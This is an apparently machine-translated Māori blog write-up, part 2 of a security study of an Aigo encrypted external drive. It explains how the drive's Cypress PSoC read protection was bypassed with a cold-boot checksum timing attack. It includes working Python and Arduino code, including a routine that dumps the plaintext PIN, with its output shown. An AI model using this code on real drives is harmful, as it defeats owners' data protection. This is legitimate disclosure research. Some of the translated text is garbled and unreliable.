Te huri me te hacking Aigo whakamuna whaiaro puku HDD waho. Wāhanga 2: Te tango putunga mai i Cypress PSoC

Koinei te waahanga tuarua me te waahanga whakamutunga o te tuhinga mo te hacking puku whakamuna-a-waho. Me whakamahara ahau ki a koe i kawea mai e tetahi hoa mahi he Patriot (Aigo) SK8671 puku mārō, a ka whakatau ahau ki te huri, a inaianei kei te tohatoha ahau i nga mea i puta mai. I mua i te panui atu, me tino panui koe wahanga tuatahi tuhinga.

4. Ka timata tatou ki te tango i te putunga mai i te puku kohiko PSoC o roto
5. Kawa ISSP
– 5.1. He aha te ISSP
– 5.2. Whakakore i nga Vectors
– 5.3. Whakawhitiwhiti me PSoC
– 5.4. Te tautuhi i nga rehita o runga maramara
– 5.5. Nga moka haumaru
6. Tuatahi (rahua) whakaeke: ROMX
7. Whakaeke Tuarua: Te Hukarere Huringa Matao
– 7.1. Te whakatinanatanga
– 7.2. Te panui i te hua
– 7.3. Flash hanga-rua
– 7.4. Te kimi i te wahitau rokiroki waehere PIN
– 7.5. Ko te tangohanga i te poraka No. 126
– 7.6. Whakaora waehere PIN
8. He aha to muri mai?
9. Whakamutunga

Te huri me te hacking Aigo whakamuna whaiaro puku HDD waho. Wāhanga 2: Te tango putunga mai i Cypress PSoC


4. Ka timata tatou ki te tango i te putunga mai i te puku kohiko PSoC o roto

Na, ko nga mea katoa e tohu ana (i ta matou i whakapumau i [te waahanga tuatahi]()) kei te rongoa te waehere PIN i roto i te hohonutanga flash o te PSoC. No reira, me panui tatou i enei hohonutanga uira. Mua o nga mahi e tika ana:

  • te whakahaere "whakawhitiwhiti" me te microcontroller;
  • kimihia he huarahi ki te tirotiro mena ka tiakina tenei "whakawhitiwhiti" mai i te panui mai i waho;
  • kimihia he huarahi ki te karo i te whakamarumaru.

E rua nga waahi e tika ana ki te rapu i tetahi waehere PIN whaimana:

  • mahara flash roto;
  • SRAM, ka taea te penapena i te waehere titi hei whakataurite ki te tohu tohu i whakauruhia e te kaiwhakamahi.

Ma te titiro whakamua, ka kite ahau i kaha tonu ahau ki te tango i te puku kohiko PSoC o roto - te takahi i tana punaha haumarutanga ma te whakamahi i te whakaeke taputapu e kiia nei ko te "tracing boot cold" - i muri i te hurihanga i nga kaha kore o te kawa ISSP. Na tenei ka taea e au te tuku tika i te waehere PIN.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Waehere hōtaka whakamutunga:

5. Kawa ISSP

5.1. He aha te ISSP

Ko te "Whakawhitiwhiti" me te microcontroller he rereke nga tikanga: mai i te "kaihoko ki te kaihoko" ki te taunekeneke ma te whakamahi i te kawa raupapa (hei tauira, ICSP mo te Microchip's PIC).

Kei a Cypress tana ake kawa rangatira mo tenei, e kiia ana ko te ISSP (i roto i te punaha raupaparorohiko kawa), e whakaahuatia ana i roto whakaritenga hangarau. Patent US7185162 homai hoki etahi korero. He rite ano te OpenSource e kiia nei ko HSSP (ka whakamahia e matou i muri tata nei). Ko te mahi a ISSP e whai ake nei:

  • whakaara ano i te PSoC;
  • whakaputa i te tau makutu ki te titi raraunga rangatū o tenei PSoC; ki te uru ki te aratau hotaka o waho;
  • tuku whakahau, he aho moka roa e kiia nei ko "vectors".

Ko te tuhinga ISSP e tautuhi ana i enei vectors mo te iti noa o nga whakahau:

  • Arawhiti-1
  • Arawhiti-2
  • Arawhiti-3 (3V me te 5V kōwhiringa)
  • ID-SETUP
  • PĀNUI-ID-KUPU
  • SET-BLOCK-NUM: 10011111010dddddddd111, where dddddddd=block #
  • KOMOMU MAU
  • KAUPAPA-POKA
  • WHAKAARO-TATAHI
  • PĀNUI-PATI: 10110aaaaaZDDDDDDDDDDZ1, kei hea DDDDDDDD = raraunga puta, aaaaaa = wāhitau (6 moka)
  • PAITA TUHIA: 10010aaaaaaddddddd111, kei hea dddddddd = raraunga kei roto, aaaaaa = wāhitau (6 moka)
  • Tuhinga
  • WHAKAMAHI-TAHI
  • PĀNUI-TAHI: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, kei hea DDDDDDDDDDDDDDDDDD = raraunga kei waho: taputapu arowhai
  • POKARA KOMUMU

Hei tauira, te vector mo te Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

He rite te roa o nga vectors katoa: 22 bits. Kei te tuhinga HSSP etahi atu korero mo te ISSP: "Ko te vector ISSP he mea noa ake i te raupapa moka e tohu ana i te huinga tohutohu."

5.2. Whakakore i nga Vectors

Kia mohio tatou he aha kei konei. I te tuatahi, i mahara ahau he ahua mata ano enei vectors o nga tohutohu M8C, engari i muri i te tirotiro i tenei whakapae, ka kitea e au kaore i te rite nga opcode o nga mahi.

Na ka rapua e ahau te vector i runga ake nei ka kitea tenei he rangahau i reira te kaituhi, ahakoa kaore ia e korero ki nga korero, ka homai etahi tohutohu whaihua: "Ka timata ia tohutohu me nga moka e toru e rite ana ki tetahi o nga mnemonika e wha (panui mai i te RAM, tuhi ki te RAM, panui rehita, tuhi rehita). E 8 nga moka wahitau, whai muri i nga moka raraunga e 8 (panui, tuhi ranei) ka mutu e toru nga moka mutu.

Katahi ka taea e au te kohi korero tino whai hua mai i te waahanga Supervisory ROM (SROM). pukapuka hangarau. Ko te SROM he ROM tino-waehere i roto i te PSoC e whakarato ana i nga mahi whaipainga (he rite ki te Syscall) mo te waehere papatono e rere ana i te waahi kaiwhakamahi:

  • 00h:SWBootReset
  • 01h: Paraka Panui
  • 02h: Paraka Tuhituhi
  • 03h: Whakamuku Paraka
  • 06h: Panui Ripanga
  • 07h: TakiTama
  • 08h: Whakaritea0
  • 09h: Whakaritea1

Ma te whakataurite i nga ingoa vector ki nga mahi SROM, ka taea e tatou te mapi i nga momo mahi e tautokohia ana e tenei kawa ki nga tawhā SROM e tumanakohia ana. Na tenei, ka taea e tatou te wetewete i nga moka tuatahi e toru o nga vectors ISSP:

  • 100 => “wrem”
  • 101 => “mema”
  • 110 => “wrreg”
  • 111 => “whakahaere”

Heoi, ko te tino mohiotanga ki nga tikanga o runga maramara ka taea anake ma te korero tika me te PSoC.

5.3. Whakawhitiwhiti me PSoC

Mai i te mea kua oti a Dirk Petrautsky tauranga Ko te waehere HSSP a Cypress i runga i te Arduino, i whakamahia e ahau a Arduino Uno ki te hono atu ki te hononga ISSP o te papa papapātuhi.

Kia mahara mai i te wa o taku rangahau, he iti noa taku whakarereke i te waehere a Dirk. Ka kitea e koe taku whakarereketanga i runga i GitHub: konei me te tuhinga Python mo te whakawhitiwhiti korero ki a Arduino, i roto i taku putunga cypress_psoc_tools.

Na, ma te whakamahi i te Arduino, i whakamahia e au i te tuatahi nga vectors "mana" mo te "whakawhitiwhiti". I whakamatau ahau ki te panui i te ROM o roto ma te whakamahi i te whakahau VERIFY. Ka rite ki te tumanako, kaore i taea e au te mahi i tenei. Tena pea na te mea kua whakahohehia nga paraka whakamarumaru panui i roto i te puku kohiko.

Na ka hanga e ahau etahi o aku ake vectors ngawari mo te tuhi me te panui mahara/rehita. Kia mahara ka taea e tatou te panui i te SROM katoa ahakoa kua parea te puku kohiko!

5.4. Te tautuhi i nga rehita o runga maramara

I muri i te titiro ki nga vectors "kua wetewete", ka kitea e au kei te whakamahi te taputapu i nga rehita kaore i tuhia (0xF8-0xFA) ki te tohu i nga opcode M8C, ka mahia tika, ka takahi i te whakamarumaru. Na tenei i taea e au te whakahaere i nga momo opcode penei i te "ADD", "MOV A, X", "PUSH" or "JMP". He mihi ki a ratou (ma te titiro ki nga paanga o te taha ki runga i nga rehita) I taea e au te whakatau ko wai o nga rehita kore i tuhia he rehita auau (A, X, SP me PC).

Ko te hua o tenei, ko te tohu "tangohia" i hangaia e te taputapu HSSP_disas.rb he penei te ahua (I tapiritia e ahau nga korero mo te maramatanga):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Nga moka haumaru

I tenei wa ka taea e au te korero ki te PSoC, engari kaore au i te whai korero pono mo nga moka haumaru o te puku kohiko. I tino miharo ahau na te mea kaore a Cypress e whakarato ki te kaiwhakamahi o te taputapu ki te tirotiro mena ka whakahohehia te whakamarumaru. I keri hohonu ahau ki a Google kia mohio ai ahau kua whakahoutia te waehere HSSP i whakaratohia e Cypress i muri i te tukunga a Dirk i tana whakarereketanga. Na ka pera! Kua puta mai tenei vector hou:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Ma te whakamahi i tenei vector (tirohia te read_security_data i roto i te psoc.py), ka whiwhi tatou i nga moka haumaru katoa i roto i te SRAM i te 0x80, e rua nga paraka mo ia poraka kua tiakina.

He pouri te hua: ka tiakina nga mea katoa i roto i te aratau "whakakorehia te panui me te tuhi o waho". Na reira, ehara i te mea kaore e taea e taatau te panui tetahi mea mai i te puku kohiko, engari kaore e taea e taatau te tuhi i tetahi mea (hei tauira, ki te whakauru i te dumper ROM ki reira). Ko te huarahi anake hei whakakore i te whakamarumaru ko te whakakore katoa i te maramara katoa. 🙁

6. Tuatahi (rahua) whakaeke: ROMX

Heoi, ka taea e tatou te whakamatautau i te mahi e whai ake nei: i te mea kei a tatou te kaha ki te whakahaere i nga opcodes, he aha e kore ai e mahia te ROMX, e whakamahia ana hei panui i te mahara flash? He pai te angitu o tenei huarahi. Na te mea ko te mahi ReadBlock e panui ana i nga raraunga mai i te SROM (e whakamahia ana e nga vectors) ka tirohia mena ka karangahia mai i te ISSP. Heoi, ko te ROMX opcode kaore pea he haki pera. Na koinei te waehere Python (i muri i te taapiri i etahi akomanga awhina ki te waehere Arduino):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Kia aroha mai kaore tenei waehere e mahi. 🙁 He pai ake ranei, engari i te putanga ka whiwhi tatou i a tatou ake opcodes (0x28 0x30 0x40)! Ki taku whakaaro karekau ko te mahinga o te taputapu he huānga mo te whakamarumaru panui. He rite tonu tenei ki te mahi miihini: i te wa e mahi ana i nga opcode o waho, ka tukuna te pahi ROM ki tetahi papaa rangitahi.

7. Whakaeke Tuarua: Te Hukarere Huringa Matao

I te mea karekau te mahi tinihanga ROMX i mahi, ka timata ahau ki te whakaaro mo tetahi atu momo rereke o tenei mahi - kua whakaahuatia i roto i te whakaputanga "He nui rawa te Maramatanga i runga i te Tiaki Rorohiko Rorohiko".

7.1. Te whakatinanatanga

Ka whakaratohia e te tuhinga ISSP te vector e whai ake nei mo CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Ko tenei ka karangahia te mahi SROM 0x07, pera i te whakaaturanga i roto i nga tuhinga (ko te whakatītaha):

Ko tenei mahi arowhai manatoko. Ka tatauhia he kaute moka-16 o te maha o nga poraka kua tohua e te kaiwhakamahi i roto i te peeke hiko kotahi, timata mai i te kore. Ka whakamahia te tawhā BLOCKID ki te whakawhiti i te maha o nga poraka ka whakamahia i te tatau i te kaute. Ko te uara "1" ka tatau noa i te kaute mo te poraka kore; ahakoa Ma te "0" ka tatauhia te tapeke arowhai o nga poraka 256 katoa o te peeke flash. Ka whakahokia mai te moni arowhai 16-bit ma KEY1 me KEY2. Ko te tawhā KEY1 e pupuri ana i nga moka iti-8 o te arowhai, a ko te tawhā KEY2 e pupuri ana i nga paraka-tiketike e 8. Mo nga taputapu he maha nga peeke rama, ka karangahia te mahi arowhai mo ia taputapu motuhake. Ko te nama peeke e mahi ai ka whakatauhia e te rehita FLS_PR1 (ma te whakatakoto i te moka ki roto kia rite ki te peeke kohiko kua tohua).

Kia mahara ko tenei he utu arowhai ngawari: ka taapiri noa nga paita i muri i tetahi; karekau he quirks CRC. I tua atu, i te mohio he iti rawa nga rehita rehita o te matua M8C, i kii ahau i te wa e tatau ana i te arowhai, ka tuhia nga uara takawaenga i roto i nga taurangi ka puta ki te putanga: KEY1 (0xF8) / KEY2 ( 0xF9).

Na i roto i te ariā he penei taku whakaeke:

  1. Ka hono matou ma te ISSP.
  2. Ka timata tatou i te tatauranga arowhai ma te whakamahi i te vector CHECKSUM-SETUP.
  3. Ka whakaara ano tatou i te tukatuka i muri i te waa kua tohua T.
  4. Ka panuihia e matou te RAM ki te tiki i te kaute C.
  5. Whakahokia nga taahiraa 3 me te 4, me te whakanui i te T iti ia wa.
  6. Ka whakaorahia e matou nga raraunga mai i te puku kohiko ma te tango i te kaute C o mua mai i te waa.

Heoi, he raru: ko te Vector Initialize-1 me tuku i muri i te whakaara ano ka tuhirua KEY1 me KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Ka tuhiruatia e tenei waehere to tatou moni arowhai utu nui ma te waea atu ki a Calibrate1 (mahi SROM 9)... Ka taea pea e tatou te tuku noa i te tau makutu (mai i te timatanga o te waehere i runga ake nei) ki te whakauru i te aratau kaupapa, katahi ka panui i te SRAM? Ae, ka mahi! Ko te waehere Arduino e whakatinana ana i tenei whakaeke he tino ngawari:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Panuihia te checkum_delay.
  2. Whakahaerehia te tatauranga arowhai (send_checksum_v).
  3. Tatari mo te wa kua tohua; ka whai whakaaro ki nga raru e whai ake nei:
    • He maha nga wa i moumou ahau kia mohio ra ano ahau he aha te ahua whakaroaMicrohekona ka mahi tika anake me te roa kaore e neke ake i te 16383 μs;
    • katahi ka patu ano i te wa ano kia kitea ra ano ko te whakaroaMicrohekona, ki te tukuna te 0 ki a ia hei whakaurunga, ka he te mahi!
  4. Whakahoutia te PSoC ki te aratau whakamaoritanga (ka tukuna noa e matou te nama makutu, me te kore e tukuna nga vector arataki).

Waehere whakamutunga i roto i te Python:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

I roto i te poto, he aha tenei waehere:

  1. Ka whakaara ano i te PSoC (ka tukuna he tau makutu).
  2. Ka tukuna nga vector arawhiti katoa.
  3. Karangahia te mahinga Arduino Cmnd_STK_START_CSUM (0x85), ka tukuna te roa o te microseconds hei tawhā.
  4. Ka panuihia te kaute arowhai (0xF8 me te 0xF9) me te rehita kore tuhinga 0xF1.

Ka mahia tenei waehere 10 nga wa i roto i te 1 microsecond. Ko te 0xF1 kei konei na te mea ko ia anake te rehita i huri i te tatau i te kaute. Tena pea he momo taurangi rangitahi e whakamahia ana e te wae arorau tatau. Kia mahara te hack kino e whakamahia ana e ahau ki te tautuhi i te Arduino ma te whakamahi i te picocom ka mutu te whakaatu a Arduino i nga tohu o te ora (kaore e mohio he aha).

7.2. Te panui i te hua

Ko te hua o te tuhinga Python ka penei te ahua (he mea ngawari mo te panui):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Ko te korero, he raru taatau: i te mea kei te mahi maatau me te arowhai tuuturu, kaore te paita kore e huri i te panui uara. Heoi, i te mea he 8192 hēkona te katoa o te mahinga tatau (0,1478 bytes) (he paku rerekee ia wa e whakahaeretia ana), e rite ana ki te 18,04 μs mo ia paita, ka taea e tatou te whakamahi i tenei wa ki te tirotiro i te uara arowhai i nga wa e tika ana. Mo nga oma tuatahi, he ngawari noa te panui i nga mea katoa, na te mea he rite tonu te roanga o te mahinga rorohiko. Heoi, he iti ake te tika o te mutunga o tenei putunga na te mea ko nga "whakarereketanga wa iti" i ia oma ka piki ake he mea nui:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

He 10 nga putunga mo ia whakaroa moroiti hekona. Ko te tapeke o te wa mahi mo te tuku i nga 8192 paita katoa o te puku kohiko he 48 haora.

7.3. Flash hanga-rua

Kaore ano ahau kia oti te tuhi i te waehere ka tino hanga ano i te waehere papatono o te puku kohiko, me te whai whakaaro ki nga rereketanga o te waa. Heoi, kua whakahokia e ahau te timatanga o tenei waehere. Kia tika taku mahi, ka wetewete ahau ma te whakamahi m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

He ahua tika!

7.4. Te kimi i te wahitau rokiroki waehere PIN

Inaianei ka taea e tatou te panui i te kaute i nga wa e hiahia ana tatou, ka taea e taatau te tirotiro me pehea me te waahi ka huri ina tatou:

  • tomo te waehere PIN he;
  • huri i te waehere titi.

Tuatahi, ki te kimi i te wahitau rokiroki tata, ka tango ahau i tetahi putunga arowhai i roto i nga taapiri 10 ms i muri i te whakaara ano. Na ka uru ahau ki te PIN he, ka pera ano.

Ko te hua kaore i tino pai, na te mea he maha nga huringa. Engari i te mutunga ka taea e au te whakatau kua huri te kaute i waenga i te 120000 µs me te 140000 µs o te whakaroa. Engari ko te "pincode" i whakaatuhia e ahau i reira he he rawa - na te mahi toi o te whakaroaMicroseconds, he mahi kee ina tukuna te 0 ki a ia.

Na, i muri i te whakapau tata ki te 3 haora, ka mahara ahau ka whiwhi te punaha SROM ki te karanga CheckSum he tohenga hei whakaurunga e tohu ana i te maha o nga poraka mo te arowhai! Ko tera. Ka taea e maatau te tautuhi i te wahitau rokiroki o te waehere PIN me te porotiti "nganatanga hē", me te tika ki te poraka 64-paita.

Ko aku oma tuatahi i puta te hua e whai ake nei:

Te huri me te hacking Aigo whakamuna whaiaro puku HDD waho. Wāhanga 2: Te tango putunga mai i Cypress PSoC

Na ka hurihia e ahau te waehere PIN mai i "123456" ki "1234567" ka whiwhi:

Te huri me te hacking Aigo whakamuna whaiaro puku HDD waho. Wāhanga 2: Te tango putunga mai i Cypress PSoC

No reira, ko te tohu PIN me te porotiti o nga nganatanga he te ahua kei te rongoa i te poraka Nama 126.

7.5. Ko te tangohanga i te poraka No. 126

Ko te Poraka #126 me noho ki tetahi waahi huri noa i te 125x64x18 = 144000μs, mai i te tiimata o te tatauranga arowhai, i roto i taku putunga katoa, a he ahua pai. Na, i muri i te tarai-a-ringa i te maha o nga putunga muhu (na te kohi o nga "whakahekenga wa iti"), ka mutu ka whiwhi ahau i enei paita (i te roanga o te 145527 μs):

Te huri me te hacking Aigo whakamuna whaiaro puku HDD waho. Wāhanga 2: Te tango putunga mai i Cypress PSoC

E tino kitea ana kei te rongoa te waehere PIN ki te ahua kore whakamuna! Ko enei uara, ko te tikanga, kaore i tuhia i roto i nga waehere ASCII, engari ka puta, ka whakaatahia nga panui i tangohia mai i te papapātuhi capacitive.

Ka mutu, i whakahaerehia e ahau etahi atu whakamatautau kia kitea kei hea te putea nganatanga kino i rongoa. Anei te hua:

Te huri me te hacking Aigo whakamuna whaiaro puku HDD waho. Wāhanga 2: Te tango putunga mai i Cypress PSoC

0xFF - te tikanga "15 nganatanga" ka heke ki ia nganatanga i rahua.

7.6. Whakaora waehere PIN

Anei taku waehere kino e whakakotahi ana i nga korero o runga ake nei:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Anei te hua o tana mahi:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Hore! Mahi!

Kia mahara ko nga uara o te waahi i whakamahia e au e pa ana ki tetahi PSoC motuhake - ko te mea i whakamahia e au.

8. He aha to muri mai?

Na, me whakarāpopoto i te taha PSoC, i roto i te horopaki o to tatou puku Aigo:

  • ka taea e tatou te panui SRAM ahakoa kua tiakina;
  • Ka taea e tatou te karo i te whakamarumaru anti-swipe ma te whakamahi i te whakaeke mai i te whawhai makariri me te panui tika i te waehere PIN.

Heoi ano, he hapa to taatau whakaeke na te raru o te tukutahi. Ka taea te whakapai ake penei:

  • tuhia he whaipainga hei wetewete tika i nga raraunga putanga ka puta mai i te whakaekenga o te whakaekenga o te "puutu makariri";
  • te whakamahi i te taputapu FPGA ki te hanga i nga wa roa tika (whakamahi ranei i nga taima taputapu Arduino);
  • tamatahia tetahi atu whakaeke: whakaurua he waehere PIN kua pohehe, whakaara ano ka makahia te RAM, me te tumanako ka tiakina te waehere PIN tika ki te RAM hei whakataurite. Heoi, ehara tenei i te mea ngawari ki te mahi i runga i te Arduino, na te mea ko te taumata tohu tohu Arduino he 5 volts, ko te poari e tirotirohia ana e mahi ana me nga tohu 3,3 volt.

Ko tetahi mea pai ka taea te whakamatautau ko te takaro ki te taumata ngaohiko ki te karo i te whakamarumaru panui. Mena ka whai hua tenei huarahi, ka taea e tatou te tiki raraunga tino tika mai i te puku kohiko - kaua e whakawhirinaki ki te panui i te kaute me nga wa whakaroa.

I te mea ka panuihia pea e te SROM nga moka kaitiaki ma te waea punaha ReadBlock, ka taea e taatau te mahi pera ano whakaahuatia i runga i te blog a Dmitry Nedospasov - he whakatinana ano i te whakaeke a Chris Gerlinski, i whakapuakihia i te huihuinga "REcon Brussels 2017".

Ko tetahi atu mea ngahau ka taea te mahi ko te tarai i te keehi mai i te maramara: ki te tango i te putunga SRAM, te tautuhi i nga waea punaha me nga whakaraeraetanga.

9. Whakamutunga

Na, ko te whakamarumaru o tenei puku he nui noa atu te hiahia, na te mea ka whakamahia e ia he microcontroller auau (kaore i "whakapakeke") ki te penapena i te waehere PIN... Ano, kaore au i titiro (ano) ki te haere o nga mea me nga raraunga. whakamunatanga i runga i tenei taputapu!

He aha ta koe e tūtohu mo Aigo? Whai muri i te tātari i nga tauira e rua o nga puku HDD whakamunatia, i te tau 2015 i mahia e au whakaaturanga i runga i te SyScan, i tirotirohia e ia nga raruraru haumarutanga o etahi puku HDD o waho, me te tuku tohutohu mo nga mea ka taea te whakapai ake. 🙂

E rua nga wiki me etahi ahiahi e mahi ana ahau i tenei rangahau. Tata ki te 40 haora. Te tatau mai i te timatanga (i taku whakatuwheratanga i te kōpae) ki te mutunga (putunga waehere PIN). Ko taua 40 haora ko te wa i pau i ahau ki te tuhi i tenei tuhinga. He haerenga tino whakahihiri.

Source: will.com

Tāpiri i te kōrero